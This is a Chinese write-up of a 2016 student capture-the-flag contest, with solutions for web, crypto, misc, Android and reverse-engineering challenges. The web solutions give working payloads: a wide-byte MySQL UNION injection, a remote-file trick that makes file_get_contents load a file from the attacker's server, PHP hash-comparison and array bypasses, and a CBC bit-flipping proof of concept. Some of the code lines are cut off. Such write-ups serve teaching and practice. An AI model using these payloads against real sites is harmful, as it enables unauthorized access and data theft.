2016风云杯大学生信安大赛 WriteUp

原创

Bendawang 于 2016-05-15 22:45:10 发布 11148 收藏

分类专栏： WriteUp 文章标签： WriteUp 风云杯大学生信安竞赛 ctf

2016风云杯大学生信安大赛
web 01
web 02
web 03
web 04
web 05
web 06
web 08
web 09
CRYPTO 01
misc 01
misc 02
misc 03
misc 06
apk 01
apk 03
apk 04
re 01
re 03
re 04

2016风云杯大学生信安大赛

好吧第二次正式打CTF，虽然这次的题比较简单，而且大部分强队都去打whctf去了，最后10分钟直接从第四掉到第七，也没办法，实力不够，继续练吧，贴个图纪念一下。整体看这次的web还是比较中规中矩的，没有过分的脑洞。自己也犯蠢了，以为web做完了，结果最后才发现`web 07`没有做真是哔了狗了。。

web 01

代码如下：

```
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IsMatch= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IsMatch ){
  die('key: '.$key);
}
?>
```

一个正则匹配
payload如下

```
http://219.146.15.116/4t56ysgh6h7u/?id=keykeykeykeykeykeykey:/a/aakeya:]
```

得到最后的`flag`

web 02

乌云上的一个漏洞，http://www.wooyun.org/bugs/wooyun-2015-0125982。

把`multipart/form-data`变换一下大小写，然后把`Content-Type`换成随便一个图片格式就行了，没截图，记得flag是这个

```
KEY{bb9935dc12397882af23rghjwe3820ea2b678}
```

web 03

代码如下：

```
<?php
extract($_GET);
if (!empty($dpc))
{
$combination = trim(file_get_contents($filename));
if ($dpc === $combination)
{
echo "<p>Hello:" ." $combination!?</p>";

echo "<p>Congratulation.Key is:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
```

一道简单的审计题，根据file_get_contents可以远程打开文件的特性，在你的vps或是别的什么上放一个`1.txt`，内容是`1234`，然后就可以了，payload如下：

```
http://139.129.166.67/gth56u778i8/?filename=http://xxxxxxxxxxxxxx/1.txt&dpc=1234
```

web 04

根据提示，要POST一个`username`和`password`，还要二者的md5值相同，那么最后果断构造如下：

```
username=240610708&password=QNKCDZO
```

不对。再试试这个

```
username[]=240610708&password[]=QNKCDZO
```

对了，然后提示说不是admin，看看cookie，果断改一下就可以了，一个base64，
所以最后的payload如下图：

web 05

通过备份文件`~`看到源码如下：

```
<?php
$_GET['myid'] = urldecode($_GET['myid']);

$flag = 'xxxxxxxxxxxxxxxx';
if (isset($_GET['name']) and isset($_POST['password'])) {

if ($_GET['name'] == $_POST['password'])

print 'Your password can not be your name.';

else if (sha1($_GET['name']) === sha1($_POST['password'])&($_GET['myid']=='anyun'))

die('Flag: '.$flag);

else

print 'sorry!';

}
?>
```

直接用数组绕过就可以了
payload如下：

得到flag

web 06

mysql宽字符注入，没有别的过滤，直接构造联合查询从系统表`information_schema`里面爆出表名和列名，这里注意下编码的转换就行了，别的没有什么坑点，该数据库下面有两个表`article,flag`，`flag`表里有两个字段`id,thisisflag`，最后给个`payload`

```
http://139.129.166.67/5t5y6huj7j7/index.php?id=1%c0' and 1=2 union select 1,convert(group_concat(thisis
```

然后的得到`flag`。

web 08

一道CBC字节翻转攻击，给个链接：http://drops.wooyun.org/tips/7828
根据文章写POC,代码如下：

```
<?php
        //1234567890abcdef1234567890abcdef1234567890abcdef1234567890auid=9;123123123123
        $enc = "9pzE4775q38+wGl/FqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2BwdywFE67ELLaNuU5yS0kjiu
        $enc = base64_decode($enc);
        echo "<br>".($enc)."<br>";
        $enc[47] = chr(ord($enc[47]) ^ ord("9") ^ ord ("1"));
        echo "<br>".($enc)."<br>";
        $c = base64_encode($enc);
        $d = urlencode($c);
        echo "Plaintext after attack : <br>$c<br>";
        echo "Plaintext after attack : <br>$d<br>";
?>
```

得到如下：

即

```
9pzE4775q38%2BwGl%2FFqNMfFM53Ra6wTKAGUykoeioOjKzlajhqgjsPjGiXVvkFF2JwdywFE67ELLaNuU5yS0kjiuETsjG0Jdk4Li
```

然后修改cookie直接提交，即获得flag

web 09

这道题一开始就跳转到了这里

```
http://139.129.166.67/sefrgtafgr/index.php?line=&file=a2V5LnR4dA==
```

出现一堆没用的东西，对`file`解码是key.txt，换成`index.php`后发现，这里存在任意代码读取，不断修改line的值得到`index.php`完整代码如下：

```php
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='an_yun_tec'){
$file_list[2]='thisis_key.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
```

然后审计下构造如下请求：

于是得到flag是`KEY{key_anyuntec_co0kies}`。

CRYPTO 01

一道培根加密，
原文是

```
woUld you prEfeR SausaGes or bacoN  wiTH YouR EgG?
```

换过来变成

```
aabaa aaaaa baabb aaaab aaaaa aaaba abbba abbab
```

百度百科里的第一个表，换成答案就是

```
eatbacon
```

misc 01

winhex打开得到的JPG图片，在文件exif发现一串可疑字符ZmxhZ3tsdW9fcm9vbX0，加上=base64解码后得到flag{luo_room}

misc 02

解压后得到jpg图像，从图像的文件结尾后抠出了一个zip压缩包，判断了一下不是伪加密，根据提示银行卡密码，用工具暴力破了一下，得到了文件密码，解压后得到了flag.txt
KEY{luffy_and_jet}

misc 03

解压后得到一张jpg，用winhex看了一下头部 直接得到flag…什么鬼…

misc 06

观察了一下数据包，是ftp传输，有几个包特别显眼如下：

把他们都用winhex抠出来，data3是一个带加密的zip文件，data5说社社会工程学说，很多用户习惯于用一样的密码。试了一下其他几个data中的密码都不对，重新去观察数据包，观察到下图中的包：

得到密码whoami127.0.0.1，尝试解压，成功！得到`KEY{351d5ead1ca31ed33deb6f6a3111e117}`

apk 01

打开zip文件发现需要密码，立马反应到这是伪加密

为了偷懒把他的加密位用网上的脚本将一改成零即可

apk变成普通的apk后再按正常步骤：

在`AndroidManifest.xml`文件中可以发现

```
//KEY{f2b0590b558a08514e1c497d400d08ba}
```

apk 03

这哈哈都写出来了，明显是忽悠人的。。。

在`FlagActivity`里能看到

```
int[] arrayOfInt = { 75, 69, 89, 123, 97, 119, 52, 110, 110, 52, 95, 107, 52, 114, 95, 109, 120, 95, 100, 51, 120, 125 };
```

ascii码转换一下就是答案

```
KEY{aw4nn4_k4r_mx_d3x}
```

apk 04

函数有点多，看着有点蛋疼，全都看一遍就好了，其实并不难。

纯分析的话不用写一行代码就能做出这道题，下面我把我分析的步骤都写出来，具体分析步骤如下

在`uc`这个class里比较显眼

```
public static String nj = "XRL}D6hy4yfE7tuF6{";
```

这个太扎眼了，一眼就能看出来

因为看过前面的函数有印象：

```
while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}
```

两个大括号反过来了就是因为这里的

```
else
c = (char)(j ^ 0x6);
```

else就是除了数字和字母之外的字符
和`0x6`异或刚好就把最低位反过来然后括号反过来了

然后调用函数的时候:

```
uc.bh(cc.encrypt(str1), ca.encrypt(str1), cb.encode(str1));
```

之后：

```
public static boolean bh(String paramString1, String paramString2, String paramString3)
{
String str = paramString1 + paramString2 + paramString3;
```

可见他用了三个函数，但是因为前面分析的括号可知研究第一个加密函数就可以了

```
public static String encrypt(String paramString)
{
String str = "";
int i = 0;
if (i >= paramString.length())
return str;
int j = paramString.charAt(i);
char c;
if ((j >= 97) && (j <= 109))
c = (char)(j + 13);
while (true)
{
str = str + c;
i++;
break;
if ((j >= 65) && (j <= 77))
c = (char)(j + 13);
else if ((j >= 110) && (j <= 122))
c = (char)(j - 13);
else if ((j >= 78) && (j <= 90))
c = (char)(j - 13);
else if ((j >= 48) && (j <= 57))
c = (char)(j ^ 0x7);
else
c = (char)(j ^ 0x6);
}
}
```

这个函数的意思一看便懂：上半边字母表和下半边字母表对换
数字的话异或一下，还原出来就是：

```
xRL}D6hy4yfE7tuF6{ -->
KEY{Q1ul3lsR0ghSi}
```

re 01

首先通过PEID查看，发现是upx壳，在机脱失败后，直接采取手脱，到达程序入口。

发现本题是简单的字符串比较，并不存在什么难点

得到flag。

re 03

加载进OD观察下，发现没有加壳，需要输入用户名和密码：

两个对于长度有一些限制，用户名可以直接得到

对于密码则采用了异或比较的方式：

写个脚本模拟一下：

得到结果：
McDull@Aun
YuyuMyl@ve!

re 04

用od加载发现有反调试，于是用ida加载进来，观察了一下函数的基本结构。
主体就是简单的for循环，在特定时候调用输出函数，所以我们只要模拟下就行了。

```
#include"stdio.h"

__int8 byte_40336D,byte_40336F,byte_40336E,byte_40336C;

int sub_401920()
{
  return printf(
           "%c%c%c%c",
           (unsigned __int8)byte_40336D,
           (unsigned __int8)byte_40336F,
           (unsigned __int8)byte_40336E,
           (unsigned __int8)byte_40336C);
}

int __cdecl sub_401960(int a1)
{
  signed int v2; // [sp+0h] [bp-10h]@5
  signed int v3; // [sp+4h] [bp-Ch]@7
  signed int v4; // [sp+8h] [bp-8h]@3
  signed int v5; // [sp+Ch] [bp-4h]@1



  byte_40336D = *(__int8 *)a1;
  byte_40336F = *(__int8 *)(a1 + 1);
  byte_40336E = *(__int8 *)(a1 + 2);
  byte_40336C = *(__int8 *)(a1 + 3);
  v5 = 5;
  do
  {
    byte_40336D += v5;
    byte_40336D ^= 3u;
    --v5;
  }
  while ( v5 );
```

```
  while ( v5 );
  v4 = 4;
  do
  {
    byte_40336F += v4;
    byte_40336F ^= 4u;
    --v4;
  }
  while ( v4 );
  v2 = 3;
  do
  {
    byte_40336E += v2;
    byte_40336E ^= 5u;
    --v2;
  }
  while ( v2 );
  v3 = 2;
  do
  {
    byte_40336C += v3;
    byte_40336C ^= 6u;
    --v3;
  }
  while ( v3 );
  return 0;
}

int __cdecl sub_401A70(int a1)
{
  int result; // eax@1
  unsigned int l; // [sp+0h] [bp-1Ch]@7
  unsigned int k; // [sp+4h] [bp-18h]@5
  unsigned int i; // [sp+8h] [bp-14h]@1
  char v5; // [sp+Ch] [bp-10h]@9
  char v6; // [sp+Dh] [bp-Fh]@9
  char v7; // [sp+Eh] [bp-Eh]@9
  char v8; // [sp+Fh] [bp-Dh]@9
  unsigned int j; // [sp+10h] [bp-Ch]@3
  int v10; // [sp+14h] [bp-8h]@1
  int v11; // [sp+18h] [bp-4h]@1

  v10 = 0;
  v11 = 0;
  for ( i = 0; i <= 0xFF; ++i )
  {
    printf("^");
    for ( j = 0; j <= 0xFF; ++j )
    {
      for ( k = 0; k <= 0xFF; ++k )
      {
        for ( l = 0; l <= 0xFF; ++l )
        {
          ++v10;
          v5 = j;
          v6 = i;
          v7 = l;
          v8 = k;

          char arry[4];
```

```
          arry[0]=v5;
          arry[1]=v6;
          arry[2]=v7;
          arry[3]=v8;



          if ( v10 == a1 )
          {
            sub_401960((int)arry);
            sub_401920();
          }

        }
      }
    }
    result = i + 1;
  }
  return result;
}

int __cdecl main()
{
  sub_401A70(1147021405);
  sub_401A70(942305638);
  sub_401A70(493974365);
  sub_401A70(942764337);
  printf("\n不是这里       ..什么也没有    \n");
  return 0;
}
```

模拟结果如下，得到答案：

flag：jN_+6Bnp?_rGB;p